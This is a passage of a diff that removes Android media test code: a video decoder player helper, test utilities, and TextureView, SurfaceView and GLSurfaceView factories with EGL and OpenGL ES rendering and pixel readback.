-                // For JELLY_BEAN_MR2- devices, when rendering to a surface,
-                // info.size seems to always return 0 even if
-                // the decoder successfully decoded the frame.
-                if (info.size <= 0 && ApiLevelUtil.isAtLeast(Build.VERSION_CODES.JELLY_BEAN_MR2)) {
-                    return DEQUEUE_FAIL;
-                }
-                if (!renderToSurface) {
-                    ByteBuffer outputBuffer;
-                    if (ApiLevelUtil.isBefore(Build.VERSION_CODES.LOLLIPOP)) {
-                        outputBuffer = decoder.getOutputBuffers()[decoderStatus];
-                    } else {
-                        outputBuffer = decoder.getOutputBuffer(decoderStatus);
-                    }
-                    outputBytes = new byte[info.size];
-                    outputBuffer.get(outputBytes);
-                    outputBuffer.clear();
-                }
-                decoder.releaseOutputBuffer(decoderStatus, renderToSurface);
-                return DEQUEUE_SUCCESS;
-            }
-            return DEQUEUE_FAIL;
-        }
-
-        public void release() {
-            decoderRelease();
-            extractorRelease();
-        }
-
-        private boolean setExtractorDataSource(VideoFormat videoFormat) {
-            checkNotNull(videoFormat);
-            try {
-                final AssetFileDescriptor afd = videoFormat.getAssetFileDescriptor();
-                extractor.setDataSource(
-                        afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-                afd.close();
-            } catch (IOException exception) {
-                Log.e(TAG, "IOException in setDataSource", exception);
-                return false;
-            }
-            return true;
-        }
-
-        /**
-         * Creates a decoder based on conditions.
-         *
-         * <p>If codec name is provided, {@link MediaCodec#createByCodecName(String)} is used.
-         * If codec name is not provided, {@link MediaCodecList#findDecoderForFormat(MediaFormat)}
-         * is preferred on LOLLIPOP and up for finding out the codec name that
-         * supports the media format.
-         * For OS older than LOLLIPOP, {@link MediaCodec#createDecoderByType(String)} is used.
-         */
-        private boolean createDecoder(MediaFormat mediaFormat) {
-            try {
-                if (codecName != null) {
-                    decoder = MediaCodec.createByCodecName(codecName);
-                } else if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.LOLLIPOP)) {
-                    if (Build.VERSION.SDK_INT == Build.VERSION_CODES.LOLLIPOP) {
-                        // On LOLLIPOP, format must not contain a frame rate.
-                        mediaFormat.setString(MediaFormat.KEY_FRAME_RATE, null);
-                    }
-                    if (mediaCodecList == null) {
-                        mediaCodecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-                    }
-                    decoder = MediaCodec.createByCodecName(
-                            mediaCodecList.findDecoderForFormat(mediaFormat));
-                } else {
-                    decoder = MediaCodec.createDecoderByType(
-                            mediaFormat.getString(MediaFormat.KEY_MIME));
-                }
-            } catch (Exception exception) {
-                Log.e(TAG, "Exception during decoder creation", exception);
-                decoderRelease();
-                return false;
-            }
-            return true;
-        }
-
-        private boolean configureDecoder(Surface surface, MediaFormat mediaFormat) {
-            try {
-                decoder.configure(mediaFormat, surface, null, 0);
-            } catch (Exception exception) {
-                Log.e(TAG, "Exception during decoder configuration", exception);
-                try {
-                    decoder.reset();
-                } catch (Exception resetException) {
-                    Log.e(TAG, "Exception during decoder reset", resetException);
-                }
-                decoderRelease();
-                return false;
-            }
-            return true;
-        }
-
-        private void setRenderToSurface(boolean render) {
-            this.renderToSurface = render;
-        }
-
-        private boolean startDecoder() {
-            try {
-                decoder.start();
-            } catch (Exception exception) {
-                Log.e(TAG, "Exception during decoder start", exception);
-                decoder.reset();
-                decoderRelease();
-                return false;
-            }
-            return true;
-        }
-
-        private void decoderRelease() {
-            if (decoder == null) {
-                return;
-            }
-            try {
-                decoder.stop();
-            } catch (IllegalStateException exception) {
-                decoder.reset();
-                // IllegalStateException happens when decoder fail to start.
-                Log.e(TAG, "IllegalStateException during decoder stop", exception);
-            } finally {
-                try {
-                    decoder.release();
-                } catch (IllegalStateException exception) {
-                    Log.e(TAG, "IllegalStateException during decoder release", exception);
-                }
-                decoder = null;
-            }
-        }
-
-        private void extractorRelease() {
-            if (extractor == null) {
-                return;
-            }
-            try {
-                extractor.release();
-            } catch (IllegalStateException exception) {
-                Log.e(TAG, "IllegalStateException during extractor release", exception);
-            }
-        }
-
-        private static void configureVideoFormat(MediaFormat mediaFormat, VideoFormat videoFormat) {
-            checkNotNull(mediaFormat);
-            checkNotNull(videoFormat);
-            videoFormat.setMimeType(mediaFormat.getString(MediaFormat.KEY_MIME));
-            videoFormat.setWidth(mediaFormat.getInteger(MediaFormat.KEY_WIDTH));
-            videoFormat.setHeight(mediaFormat.getInteger(MediaFormat.KEY_HEIGHT));
-            mediaFormat.setInteger(MediaFormat.KEY_WIDTH, videoFormat.getWidth());
-            mediaFormat.setInteger(MediaFormat.KEY_HEIGHT, videoFormat.getHeight());
-            if (ApiLevelUtil.isBefore(Build.VERSION_CODES.KITKAT)) {
-                return;
-            }
-            // Set KEY_MAX_WIDTH and KEY_MAX_HEIGHT when isAbrEnabled() is set.
-            if (videoFormat.isAbrEnabled()) {
-                try {
-                    // Check for max resolution supported by the codec.
-                    final MediaCodec decoder = MediaUtils.getDecoder(mediaFormat);
-                    final VideoCapabilities videoCapabilities = MediaUtils.getVideoCapabilities(
-                            decoder.getName(), videoFormat.getMimeType());
-                    decoder.release();
-                    final int maxWidth = videoCapabilities.getSupportedWidths().getUpper();
-                    final int maxHeight =
-                            videoCapabilities.getSupportedHeightsFor(maxWidth).getUpper();
-                    if (maxWidth >= videoFormat.getWidth() && maxHeight >= videoFormat.getHeight()) {
-                        mediaFormat.setInteger(MediaFormat.KEY_MAX_WIDTH, maxWidth);
-                        mediaFormat.setInteger(MediaFormat.KEY_MAX_HEIGHT, maxHeight);
-                        return;
-                    }
-                } catch (NullPointerException exception) { /* */ }
-                // Set max width/height to current size if can't get codec's max supported
-                // width/height or max is not greater than the current size.
-                mediaFormat.setInteger(MediaFormat.KEY_MAX_WIDTH, videoFormat.getWidth());
-                mediaFormat.setInteger(MediaFormat.KEY_MAX_HEIGHT, videoFormat.getHeight());
-            }
-        }
-
-        /**
-         * The function returns the first track found based on the media type.
-         */
-        private int getFirstTrackIndexByType(String format) {
-            for (int i = 0; i < extractor.getTrackCount(); i++) {
-                MediaFormat trackMediaFormat = extractor.getTrackFormat(i);
-                if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(format + "/")) {
-                    return i;
-                }
-            }
-            Log.e(TAG, "couldn't get a " + format + " track");
-            return NO_TRACK_INDEX;
-        }
-
-        /**
-         * Stores the result from SimplePlayer.
-         */
-        public static final class PlayerResult {
-
-            public static final int UNSET = -1;
-            private final boolean configureSuccess;
-            private final boolean startSuccess;
-            private final boolean decodeSuccess;
-            private final long totalTime;
-
-            public PlayerResult(
-                    boolean configureSuccess, boolean startSuccess,
-                    boolean decodeSuccess, long totalTime) {
-                this.configureSuccess = configureSuccess;
-                this.startSuccess = startSuccess;
-                this.decodeSuccess = decodeSuccess;
-                this.totalTime = totalTime;
-            }
-
-            public PlayerResult(PlayerResult playerResult) {
-                this(playerResult.configureSuccess, playerResult.startSuccess,
-                        playerResult.decodeSuccess, playerResult.totalTime);
-            }
-
-            public PlayerResult() {
-                // Fake PlayerResult.
-                this(false, false, false, UNSET);
-            }
-
-            public static PlayerResult failToStart() {
-                return new PlayerResult(true, false, false, UNSET);
-            }
-
-            public String getFailureMessage() {
-                if (!configureSuccess) {
-                    return "Failed to configure decoder.";
-                } else if (!startSuccess) {
-                    return "Failed to start decoder.";
-                } else if (!decodeSuccess) {
-                    return "Failed to decode the expected number of frames.";
-                } else {
-                    return "Failed to finish decoding.";
-                }
-            }
-
-            public boolean isConfigureSuccess() {
-                return configureSuccess;
-            }
-
-            public boolean isSuccess() {
-                return configureSuccess && startSuccess && decodeSuccess && getTotalTime() != UNSET;
-            }
-
-            public long getTotalTime() {
-                return totalTime;
-            }
-
-        }
-
-    }
-
-    /* Utility class for collecting common test case functionality. */
-    class TestHelper {
-
-        private final String TAG =  TestHelper.class.getSimpleName();
-
-        private final Context context;
-        private final Handler handler;
-        private final Activity activity;
-
-        public TestHelper(Context context, Activity activity) {
-            this.context = checkNotNull(context);
-            this.handler = new Handler(Looper.getMainLooper());
-            this.activity = activity;
-        }
-
-        public Bitmap generateBitmapFromImageResourceId(int resourceId) {
-            return BitmapFactory.decodeStream(context.getResources().openRawResource(resourceId));
-        }
-
-        public Context getContext() {
-            return context;
-        }
-
-        public void rotateOrientation() {
-            handler.post(new Runnable() {
-                @Override
-                public void run() {
-                    final int orientation = context.getResources().getConfiguration().orientation;
-                    if (orientation == Configuration.ORIENTATION_PORTRAIT) {
-                        activity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
-                    } else {
-                        activity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
-                    }
-                }
-            });
-        }
-
-        public void unsetOrientation() {
-            handler.post(new Runnable() {
-                @Override
-                public void run() {
-                    activity.setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED);
-                }
-            });
-        }
-
-        public void generateView(View view) {
-            RelativeLayout relativeLayout =
-                    (RelativeLayout) activity.findViewById(R.id.attach_view);
-            ViewGenerator viewGenerator = new ViewGenerator(relativeLayout, view);
-            handler.post(viewGenerator);
-        }
-
-        public void cleanUpView(View view) {
-            ViewCleaner viewCleaner = new ViewCleaner(view);
-            handler.post(viewCleaner);
-        }
-
-        public Bitmap generateBitmapFromVideoViewSnapshot(VideoViewSnapshot snapshot) {
-            handler.post(snapshot);
-            synchronized (snapshot.getSyncObject()) {
-                try {
-                    snapshot.getSyncObject().wait(snapshot.SNAPSHOT_TIMEOUT_MS + 100);
-                } catch (InterruptedException e) {
-                    e.printStackTrace();
-                    Log.e(TAG, "Unable to finish generateBitmapFromVideoViewSnapshot().");
-                    return null;
-                }
-            }
-            if (!snapshot.isBitmapReady()) {
-                Log.e(TAG, "Time out in generateBitmapFromVideoViewSnapshot().");
-                return null;
-            }
-            return snapshot.getBitmap();
-        }
-
-        private class ViewGenerator implements Runnable {
-
-            private final View view;
-            private final RelativeLayout relativeLayout;
-
-            public ViewGenerator(RelativeLayout relativeLayout, View view) {
-                this.view = checkNotNull(view);
-                this.relativeLayout = checkNotNull(relativeLayout);
-            }
-
-            @Override
-            public void run() {
-                if (view.getParent() != null) {
-                    ((ViewGroup) view.getParent()).removeView(view);
-                }
-                RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(
-                        VideoViewFactory.VIEW_WIDTH, VideoViewFactory.VIEW_HEIGHT);
-                view.setLayoutParams(params);
-                relativeLayout.addView(view);
-            }
-
-        }
-
-        private class ViewCleaner implements Runnable {
-
-            private final View view;
-
-            public ViewCleaner(View view) {
-                this.view = checkNotNull(view);
-            }
-
-            @Override
-            public void run() {
-                if (view.getParent() != null) {
-                    ((ViewGroup) view.getParent()).removeView(view);
-                }
-            }
-
-        }
-
-    }
-
-}
-
-/* Factory for manipulating a {@link View}. */
-abstract class VideoViewFactory {
-
-    public static final long VIEW_WAITTIME_MS = TimeUnit.SECONDS.toMillis(1);
-    public static final long DEFAULT_VIEW_AVAILABLE_TIMEOUT_MS = TimeUnit.SECONDS.toMillis(3);
-    public static final int VIEW_WIDTH = 480;
-    public static final int VIEW_HEIGHT = 360;
-
-    public VideoViewFactory() {}
-
-    public abstract void release();
-
-    public abstract String getName();
-
-    public abstract View createView(Context context);
-
-    public void waitForViewIsAvailable() throws Exception {
-        waitForViewIsAvailable(DEFAULT_VIEW_AVAILABLE_TIMEOUT_MS);
-    };
-
-    public abstract void waitForViewIsAvailable(long timeOutMs) throws Exception;
-
-    public abstract Surface getSurface();
-
-    public abstract VideoViewSnapshot getVideoViewSnapshot();
-
-    public boolean hasLooper() {
-        return Looper.myLooper() != null;
-    }
-
-}
-
-/* Factory for building a {@link TextureView}. */
-@TargetApi(16)
-class TextureViewFactory extends VideoViewFactory implements TextureView.SurfaceTextureListener {
-
-    private static final String TAG = TextureViewFactory.class.getSimpleName();
-    private static final String NAME = "TextureView";
-
-    private final Object syncToken = new Object();
-    private TextureView textureView;
-
-    public TextureViewFactory() {}
-
-    @Override
-    public TextureView createView(Context context) {
-        Log.i(TAG, "Creating a " + NAME);
-        textureView = DecodeAccuracyTestBase.checkNotNull(new TextureView(context));
-        textureView.setSurfaceTextureListener(this);
-        return textureView;
-    }
-
-    @Override
-    public void release() {
-        textureView = null;
-    }
-
-    @Override
-    public String getName() {
-        return NAME;
-    }
-
-    @Override
-    public Surface getSurface() {
-        return new Surface(textureView.getSurfaceTexture());
-    }
-
-    @Override
-    public TextureViewSnapshot getVideoViewSnapshot() {
-        return new TextureViewSnapshot(textureView);
-    }
-
-    @Override
-    public void waitForViewIsAvailable(long timeOutMs) throws Exception {
-        final long start = SystemClock.elapsedRealtime();
-        while (SystemClock.elapsedRealtime() - start < timeOutMs && !textureView.isAvailable()) {
-            synchronized (syncToken) {
-                try {
-                    syncToken.wait(VIEW_WAITTIME_MS);
-                } catch (InterruptedException e) {
-                    Log.e(TAG, "Exception occurred when attaching a TextureView to a window.", e);
-                    throw new InterruptedException(e.getMessage());
-                }
-            }
-        }
-        if (!textureView.isAvailable()) {
-            throw new InterruptedException("Taking too long to attach a TextureView to a window.");
-        }
-        Log.i(TAG, NAME + " is available.");
-    }
-
-    @Override
-    public void onSurfaceTextureAvailable(SurfaceTexture surfaceTexture, int width, int height) {
-        synchronized (syncToken) {
-            syncToken.notify();
-        }
-    }
-
-    @Override
-    public void onSurfaceTextureSizeChanged(
-            SurfaceTexture surfaceTexture, int width, int height) {}
-
-    @Override
-    public boolean onSurfaceTextureDestroyed(SurfaceTexture surfaceTexture) {
-        return false;
-    }
-
-    @Override
-    public void onSurfaceTextureUpdated(SurfaceTexture surfaceTexture) {}
-
-}
-
-/**
- * Factory for building a {@link SurfaceView}
- */
-@TargetApi(24)
-class SurfaceViewFactory extends VideoViewFactory implements SurfaceHolder.Callback {
-
-    private static final String TAG = SurfaceViewFactory.class.getSimpleName();
-    private static final String NAME = "SurfaceView";
-    private final Object syncToken = new Object();
-
-    private SurfaceView surfaceView;
-    private SurfaceHolder surfaceHolder;
-
-    public SurfaceViewFactory() {}
-
-    @Override
-    public void release() {
-        surfaceView = null;
-        surfaceHolder = null;
-    }
-
-    @Override
-    public String getName() {
-        return NAME;
-    }
-
-    @Override
-    public View createView(Context context) {
-        Log.i(TAG, "Creating a " + NAME);
-        if (!super.hasLooper()) {
-            Looper.prepare();
-        }
-        surfaceView = new SurfaceView(context);
-        surfaceHolder = surfaceView.getHolder();
-        surfaceHolder.addCallback(this);
-        return surfaceView;
-    }
-
-    @Override
-    public void waitForViewIsAvailable(long timeOutMs) throws Exception {
-        final long start = SystemClock.elapsedRealtime();
-        while (SystemClock.elapsedRealtime() - start < timeOutMs && !getSurface().isValid()) {
-            synchronized (syncToken) {
-                try {
-                    syncToken.wait(VIEW_WAITTIME_MS);
-                } catch (InterruptedException e) {
-                    Log.e(TAG, "Exception occurred when attaching a SurfaceView to a window.", e);
-                    throw new InterruptedException(e.getMessage());
-                }
-            }
-        }
-        if (!getSurface().isValid()) {
-            throw new InterruptedException("Taking too long to attach a SurfaceView to a window.");
-        }
-        Log.i(TAG, NAME + " is available.");
-    }
-
-    @Override
-    public Surface getSurface() {
-        return surfaceHolder == null ? null : surfaceHolder.getSurface();
-    }
-
-    @Override
-    public VideoViewSnapshot getVideoViewSnapshot() {
-        return new SurfaceViewSnapshot(surfaceView, VIEW_WIDTH, VIEW_HEIGHT);
-    }
-
-    @Override
-    public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {}
-
-    @Override
-    public void surfaceCreated(SurfaceHolder holder) {
-        synchronized (syncToken) {
-            syncToken.notify();
-        }
-    }
-
-    @Override
-    public void surfaceDestroyed(SurfaceHolder holder) {}
-
-}
-
-/**
- * Factory for building EGL and GLES that could render to GLSurfaceView.
- * {@link GLSurfaceView} {@link EGL10} {@link GLES20}.
- */
-@TargetApi(16)
-class GLSurfaceViewFactory extends VideoViewFactory {
-
-    private static final String TAG = GLSurfaceViewFactory.class.getSimpleName();
-    private static final String NAME = "GLSurfaceView";
-
-    private final Object surfaceSyncToken = new Object();
-
-    private GLSurfaceViewThread glSurfaceViewThread;
-    private boolean byteBufferIsReady = false;
-
-    public GLSurfaceViewFactory() {}
-
-    @Override
-    public void release() {
-        glSurfaceViewThread.release();
-        glSurfaceViewThread = null;
-    }
-
-    @Override
-    public String getName() {
-        return NAME;
-    }
-
-    @Override
-    public View createView(Context context) {
-        Log.i(TAG, "Creating a " + NAME);
-        // Do all GL rendering in the GL thread.
-        glSurfaceViewThread = new GLSurfaceViewThread();
-        glSurfaceViewThread.start();
-        // No necessary view to display, return null.
-        return null;
-    }
-
-    @Override
-    public void waitForViewIsAvailable(long timeOutMs) throws Exception {
-        final long start = SystemClock.elapsedRealtime();
-        while (SystemClock.elapsedRealtime() - start < timeOutMs
-                && glSurfaceViewThread.getSurface() == null) {
-            synchronized (surfaceSyncToken) {
-                try {
-                    surfaceSyncToken.wait(VIEW_WAITTIME_MS);
-                } catch (InterruptedException e) {
-                    Log.e(TAG, "Exception occurred when waiting for the surface from"
-                            + " GLSurfaceView to become available.", e);
-                    throw new InterruptedException(e.getMessage());
-                }
-            }
-        }
-        if (glSurfaceViewThread.getSurface() == null) {
-            throw new InterruptedException("Taking too long for the surface from"
-                    + " GLSurfaceView to become available.");
-        }
-        Log.i(TAG, NAME + " is available.");
-    }
-
-    @Override
-    public Surface getSurface() {
-        return glSurfaceViewThread.getSurface();
-    }
-
-    @Override
-    public VideoViewSnapshot getVideoViewSnapshot() {
-        return new GLSurfaceViewSnapshot(this, VIEW_WIDTH, VIEW_HEIGHT);
-    }
-
-    public boolean byteBufferIsReady() {
-        return byteBufferIsReady;
-    }
-
-    public ByteBuffer getByteBuffer() {
-        return glSurfaceViewThread.getByteBuffer();
-    }
-
-    /* Does all GL operations. */
-    private class GLSurfaceViewThread extends Thread
-            implements SurfaceTexture.OnFrameAvailableListener {
-
-        private static final int FLOAT_SIZE_BYTES = 4;
-        private static final int TRIANGLE_VERTICES_DATA_STRIDE_BYTES = 5 * FLOAT_SIZE_BYTES;
-        private static final int TRIANGLE_VERTICES_DATA_POS_OFFSET = 0;
-        private static final int TRIANGLE_VERTICES_DATA_UV_OFFSET = 3;
-        private FloatBuffer triangleVertices;
-        private float[] textureTransform = new float[16];
-
-        private float[] triangleVerticesData = {
-            // X, Y, Z, U, V
-            -1f, -1f,  0f,  0f,  1f,
-             1f, -1f,  0f,  1f,  1f,
-            -1f,  1f,  0f,  0f,  0f,
-             1f,  1f,  0f,  1f,  0f,
-        };
-        // Make the top-left corner corresponds to texture coordinate
-        // (0, 0). This complies with the transformation matrix obtained from
-        // SurfaceTexture.getTransformMatrix.
-
-        private static final String VERTEX_SHADER =
-                "attribute vec4 aPosition;\n"
-                + "attribute vec4 aTextureCoord;\n"
-                + "uniform mat4 uTextureTransform;\n"
-                + "varying vec2 vTextureCoord;\n"
-                + "void main() {\n"
-                + "    gl_Position = aPosition;\n"
-                + "    vTextureCoord = (uTextureTransform * aTextureCoord).xy;\n"
-                + "}\n";
-
-        private static final String FRAGMENT_SHADER =
-                "#extension GL_OES_EGL_image_external : require\n"
-                + "precision mediump float;\n"      // highp here doesn't seem to matter
-                + "varying vec2 vTextureCoord;\n"
-                + "uniform samplerExternalOES sTexture;\n"
-                + "void main() {\n"
-                + "    gl_FragColor = texture2D(sTexture, vTextureCoord);\n"
-                + "}\n";
-
-        private int glProgram;
-        private int textureID = -1;
-        private int aPositionHandle;
-        private int aTextureHandle;
-        private int uTextureTransformHandle;
-        private EGLDisplay eglDisplay = null;
-        private EGLContext eglContext = null;
-        private EGLSurface eglSurface = null;
-        private EGL10 egl10;
-        private Surface surface = null;
-        private SurfaceTexture surfaceTexture;
-        private ByteBuffer byteBuffer;
-        private Looper looper;
-
-        public GLSurfaceViewThread() {}
-
-        @Override
-        public void run() {
-            Looper.prepare();
-            looper = Looper.myLooper();
-            triangleVertices = ByteBuffer
-                    .allocateDirect(triangleVerticesData.length * FLOAT_SIZE_BYTES)
-                    .order(ByteOrder.nativeOrder()).asFloatBuffer();
-            triangleVertices.put(triangleVerticesData).position(0);
-
-            eglSetup();
-            makeCurrent();
-            eglSurfaceCreated();
-
-            surfaceTexture = new SurfaceTexture(getTextureId());
-            surfaceTexture.setOnFrameAvailableListener(this);
-            surface = new Surface(surfaceTexture);
-            synchronized (surfaceSyncToken) {
-                surfaceSyncToken.notify();
-            }
-            // Store pixels from surface
-            byteBuffer = ByteBuffer.allocateDirect(VIEW_WIDTH * VIEW_HEIGHT * 4);
-            byteBuffer.order(ByteOrder.LITTLE_ENDIAN);
-            Looper.loop();
-        }
-
-        @Override
-        public void onFrameAvailable(SurfaceTexture st) {
-            checkGlError("before updateTexImage");
-            surfaceTexture.updateTexImage();
-            st.getTransformMatrix(textureTransform);
-            drawFrame();
-            saveFrame();
-        }
-
-        /* Prepares EGL to use GLES 2.0 context and a surface that supports pbuffer. */
-        public void eglSetup() {
-            egl10 = (EGL10) EGLContext.getEGL();
-            eglDisplay = egl10.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
-            if (eglDisplay == EGL10.EGL_NO_DISPLAY) {
-                throw new RuntimeException("unable to get egl10 display");
-            }
-            int[] version = new int[2];
-            if (!egl10.eglInitialize(eglDisplay, version)) {
-                eglDisplay = null;
-                throw new RuntimeException("unable to initialize egl10");
-            }
-            // Configure EGL for pbuffer and OpenGL ES 2.0, 24-bit RGB.
-            int[] configAttribs = {
-                EGL10.EGL_RED_SIZE, 8,
-                EGL10.EGL_GREEN_SIZE, 8,
-                EGL10.EGL_BLUE_SIZE, 8,
-                EGL10.EGL_ALPHA_SIZE, 8,
-                EGL10.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
-                EGL10.EGL_SURFACE_TYPE, EGL10.EGL_PBUFFER_BIT,
-                EGL10.EGL_NONE
-            };
-            EGLConfig[] configs = new EGLConfig[1];
-            int[] numConfigs = new int[1];
-            if (!egl10.eglChooseConfig(
-                    eglDisplay, configAttribs, configs, configs.length, numConfigs)) {
-                throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
-            }
-            // Configure EGL context for OpenGL ES 2.0.
-            int[] contextAttribs = {
-                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
-                EGL10.EGL_NONE
-            };
-            eglContext = egl10.eglCreateContext(
-                    eglDisplay, configs[0], EGL10.EGL_NO_CONTEXT, contextAttribs);
-            checkEglError("eglCreateContext");
-            if (eglContext == null) {
-                throw new RuntimeException("null context");
-            }
-            // Create a pbuffer surface.
-            int[] surfaceAttribs = {
-                EGL10.EGL_WIDTH, VIEW_WIDTH,
-                EGL10.EGL_HEIGHT, VIEW_HEIGHT,
-                EGL10.EGL_NONE
-            };
-            eglSurface = egl10.eglCreatePbufferSurface(eglDisplay, configs[0], surfaceAttribs);
-            checkEglError("eglCreatePbufferSurface");
-            if (eglSurface == null) {
-                throw new RuntimeException("surface was null");
-            }
-        }
-
-        public void release() {
-            looper.quit();
-            surface.release();
-            surfaceTexture.release();
-            byteBufferIsReady = false;
-            byteBuffer =  null;
-            if (eglDisplay != EGL10.EGL_NO_DISPLAY) {
-                egl10.eglMakeCurrent(eglDisplay,
-                    EGL10.EGL_NO_SURFACE, EGL10.EGL_NO_SURFACE, EGL10.EGL_NO_CONTEXT);
-                egl10.eglDestroySurface(eglDisplay, eglSurface);
-                egl10.eglDestroyContext(eglDisplay, eglContext);
-                //TODO: uncomment following line after fixing crash in GL driver libGLESv2_adreno.so
-                //TODO: see b/123755902
-                //egl10.eglTerminate(eglDisplay);
-            }
-            eglDisplay = EGL10.EGL_NO_DISPLAY;
-            eglContext = EGL10.EGL_NO_CONTEXT;
-            eglSurface = EGL10.EGL_NO_SURFACE;
-        }
-
-        /* Makes our EGL context and surface current. */
-        public void makeCurrent() {
-            if (!egl10.eglMakeCurrent(eglDisplay, eglSurface, eglSurface, eglContext)) {
-                throw new RuntimeException("eglMakeCurrent failed");
-            }
-            checkEglError("eglMakeCurrent");
-        }
-
-        /* Call this after the EGL Surface is created and made current. */
-        public void eglSurfaceCreated() {
-            glProgram = createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
-            if (glProgram == 0) {
-                throw new RuntimeException("failed creating program");
-            }
-            aPositionHandle = GLES20.glGetAttribLocation(glProgram, "aPosition");
-            checkLocation(aPositionHandle, "aPosition");
-            aTextureHandle = GLES20.glGetAttribLocation(glProgram, "aTextureCoord");
-            checkLocation(aTextureHandle, "aTextureCoord");
-            uTextureTransformHandle = GLES20.glGetUniformLocation(glProgram, "uTextureTransform");
-            checkLocation(uTextureTransformHandle, "uTextureTransform");
-
-            int[] textures = new int[1];
-            GLES20.glGenTextures(1, textures, 0);
-            checkGlError("glGenTextures");
-            textureID = textures[0];
-            GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, textureID);
-            checkGlError("glBindTexture");
-
-            GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_MIN_FILTER,
-                    GLES20.GL_LINEAR);
-            GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_MAG_FILTER,
-                    GLES20.GL_LINEAR);
-            GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_S,
-                    GLES20.GL_CLAMP_TO_EDGE);
-            GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_T,
-                    GLES20.GL_CLAMP_TO_EDGE);
-            checkGlError("glTexParameter");
-        }
-
-        public void drawFrame() {
-            GLES20.glUseProgram(glProgram);
-            checkGlError("glUseProgram");
-            GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
-            checkGlError("glActiveTexture");
-            GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, textureID);
-            checkGlError("glBindTexture");
-
-            triangleVertices.position(TRIANGLE_VERTICES_DATA_POS_OFFSET);
-            GLES20.glVertexAttribPointer(aPositionHandle, 3, GLES20.GL_FLOAT, false,
-                    TRIANGLE_VERTICES_DATA_STRIDE_BYTES, triangleVertices);
-            checkGlError("glVertexAttribPointer aPositionHandle");
-            GLES20.glEnableVertexAttribArray(aPositionHandle);
-            checkGlError("glEnableVertexAttribArray aPositionHandle");
-
-            triangleVertices.position(TRIANGLE_VERTICES_DATA_UV_OFFSET);
-            GLES20.glVertexAttribPointer(aTextureHandle, 2, GLES20.GL_FLOAT, false,
-                    TRIANGLE_VERTICES_DATA_STRIDE_BYTES, triangleVertices);
-            checkGlError("glVertexAttribPointer aTextureHandle");
-            GLES20.glEnableVertexAttribArray(aTextureHandle);
-            checkGlError("glEnableVertexAttribArray aTextureHandle");
-
-            GLES20.glUniformMatrix4fv(uTextureTransformHandle, 1, false, textureTransform, 0);
-            checkGlError("glUniformMatrix uTextureTransformHandle");
-
-            GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
-            checkGlError("glDrawArrays");
-            GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, 0);
-        }
-
-        /* Reads the pixels to a ByteBuffer. */
-        public void saveFrame() {
-            byteBufferIsReady = false;
-            byteBuffer.clear();
-            GLES20.glReadPixels(0, 0, VIEW_WIDTH, VIEW_HEIGHT, GLES20.GL_RGBA,
-                    GLES20.GL_UNSIGNED_BYTE, byteBuffer);
-            byteBufferIsReady = true;
-        }
-
-        public int getTextureId() {
-            return textureID;
-        }
-
-        public Surface getSurface() {
-            return surface;
-        }
-
-        public ByteBuffer getByteBuffer() {
-            return byteBuffer;
-        }
-
-        private int loadShader(int shaderType, String source) {
-            int shader = GLES20.glCreateShader(shaderType);
-            checkGlError("glCreateShader type=" + shaderType);
-            GLES20.glShaderSource(shader, source);
-            GLES20.glCompileShader(shader);
-            int[] compiled = new int[1];
-            GLES20.glGetShaderiv(shader, GLES20.GL_COMPILE_STATUS, compiled, 0);
-
-            if (compiled[0] == 0) {
-                Log.e(TAG, "Could not compile shader " + shaderType + ":");
-                Log.e(TAG, " " + GLES20.glGetShaderInfoLog(shader));
-                GLES20.glDeleteShader(shader);
-                shader = 0;
-            }
-            return shader;
-        }
-
-        private int createProgram(String vertexSource, String fragmentSource) {
-            int vertexShader = loadShader(GLES20.GL_VERTEX_SHADER, vertexSource);
-            if (vertexShader == 0) {
-                return 0;
-            }
-            int pixelShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentSource);
-            if (pixelShader == 0) {
-                return 0;
-            }
-            int program = GLES20.glCreateProgram();
-            if (program == 0) {
-                Log.e(TAG, "Could not create program");
-            }
-            GLES20.glAttachShader(program, vertexShader);
-            checkGlError("glAttachShader");
-            GLES20.glAttachShader(program, pixelShader);
-            checkGlError("glAttachShader");
-            GLES20.glLinkProgram(program);
-            int[] linkStatus = new int[1];
-            GLES20.glGetProgramiv(program, GLES20.GL_LINK_STATUS, linkStatus, 0);
-
-            if (linkStatus[0] != GLES20.GL_TRUE) {
-                Log.e(TAG, "Could not link program: ");
-                Log.e(TAG, GLES20.glGetProgramInfoLog(program));
-                GLES20.glDeleteProgram(program);
-                program = 0;
-            }
-            return program;
-        }
-
-        private void checkEglError(String msg) {
-            int error;
-            if ((error = egl10.eglGetError()) != EGL10.EGL_SUCCESS) {
-                throw new RuntimeException(msg + ": EGL error: 0x" + Integer.toHexString(error));
-            }
-        }
-
-        public void checkGlError(String op) {
-            int error;
-            if ((error = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
-                Log.e(TAG, op + ": glError " + error);
-                throw new RuntimeException(op + ": glError " + error);
-            }
-        }
-
-        public void checkLocation(int location, String label) {
-            if (location < 0) {
